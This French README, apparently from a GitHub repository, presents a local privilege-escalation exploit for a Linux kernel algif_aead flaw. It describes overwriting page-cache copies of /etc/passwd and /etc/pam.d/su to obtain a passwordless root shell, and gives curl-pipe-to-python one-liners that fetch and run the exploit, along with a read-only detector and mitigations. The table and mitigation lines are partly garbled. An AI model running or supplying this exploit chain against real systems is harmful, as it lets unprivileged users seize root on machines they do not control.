
Exploit d'élévation de privilèges locale pour CVE-2026-31431 dans algif_aead du noyau Linux, utilisant splice pour écraser le cache de pages et obtenir les droits root. Inclut un détecteur en lecture seule.
CVE-2026-31431 est une vulnérabilité d'élévation de privilèges locale dans le sous-système algif_aead du noyau Linux. L'implémentation AEAD authencesn effectue un déchiffrement en place via splice(2), plaçant une page du cache de pages dans la liste scatterlist de destination. Une valeur de 4 octets provenant de l'AAD (seqno_lo) est réécrite dans cette page du cache de pages avant que la balise d'authentification ne soit vérifiée — permettant à un utilisateur non privilégié d'écraser des octets arbitraires du cache de pages du noyau de tout fichier lisible par tous.
Vulnérable depuis : noyau 4.14 (août 2017) — lorsque authesn a été introduit dans algif_aead
Correctifs publiés pour : lignes stables 6.12, 6.17 et 6.18 uniquement
Définitivement non corrigé : noyaux 4.14–6.11 (fin de vie ; aucun backport ne sera publié)
Primitives requises : socket AF_ALG, chiffrement authesn(hmac(sha256),cbc(aes)), splice(2) dans un fd de socket AF_ALG
Impact : élévation de privilèges locale vers root — entièrement automatisée, aucun mot de passe requis
L'exploit applique deux correctifs du cache de pages en séquence, puis exécute su automatiquement :
Correctif /etc/passwd — ouvre le fichier (lisible par tous), remplit son cache de pages, puis utilise la primitive splice authesn pour faire basculer le champ UID à 4 chiffres de l'utilisateur courant à 0000. Après le correctif, getpwnam() signale l'utilisateur comme UID 0.
Correctif /etc/pam.d/su — pam_rootok.so et pam_permit.so font tous deux exactement 13 caractères. Deux écritures de 4 octets remplacent pam_rootok.so par pam_permit.so dans le cache de pages de la configuration PAM. Comme pam_permit renvoie toujours PAM_SUCCESS, la ligne auth sufficient existante se déclenche immédiatement — aucune invite de mot de passe n'est émise.
Aucune écriture sur disque n'a lieu à aucun moment. Vider le cache de pages (echo 3 > /proc/sys/vm/drop_caches) ou redémarrer annule complètement les deux correctifs.
Pour tests autorisés uniquement. À exécuter uniquement sur des hôtes que vous possédez ou pour lesquels vous êtes explicitement mandaté pour évaluer.
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3
Un shell root est renvoyé automatiquement — aucun mot de passe nécessaire.
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py
echo 3 | tee /proc/sys/vm/drop_caches
AF_ALG activée (standard sur la plupart des distributions)authesn(hmac(sha256),cbc(aes)) chargeable (standard sur la plupart des distributions)test_cve_2026_31431.py est un détecteur sûr, en lecture seule, fourni dans ce dépôt. Il exerce la primitive splice algif_aead contre un fichier sentinelle jetable qu'il crée dans un répertoire temporaire — aucun fichier système n'est jamais touché. Il affiche un verdict et se termine avec un code de sortie bien défini :
| Code de sortie | Signification |
|---|---|
0 | Non vulnérable — condition préalable non remplie ou cache de pages non modifié |
Exécution :
# En une ligne (aucune installation requise)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Code de sortie : $?"
# Ou depuis un clone local
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Code de sortie : $?"
Exemple de sortie sur un noyau vulnérable :
[*] Détecteur CVE-2026-31431 kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencsn(hmac(sha256),cbc(aes))' chargeable - condition préalable remplie.
[!] VULNÉRABLE à CVE-2026-31431.
[!] Marqueur b'PWND' (AAD seqno_lo) atterri dans la page du cache de pages splicée à l'offset 24.
[!] Octets environnants : 00000000504d4e4400000000 (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Appliquez le correctif en amont ou bloquez algif_aead immédiatement.
Exemple de sortie sur un noyau corrigé :
[*] Détecteur CVE-2026-31431 kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencsn(hmac(sha256),cbc(aes))' chargeable - condition préalable remplie.
[+] Cache de pages intact. Non vulnérable sur ce noyau.
algif_aead via /etc/modprobe.d : install algif_aead /bin/falseAF_ALG avec une politique seccomp ou LSM.net/tls + crypto/algif_aead — isolation de la liste scatterlist de destination en place pour authesnShell automatique — le script exécute su <utilisateur>. PAM authentifie sans mot de passe (étape 2), puis setuid(0) réussit car getpwnam() signale UID 0 (étape 1). Un shell root est renvoyé sans aucune interaction utilisateur.
1 | Erreur de test (par ex. AF_ALG indisponible, splice non pris en charge) |
2 | VULNÉRABLE — les octets marqueurs ont atterri dans la page du cache de pages splicée |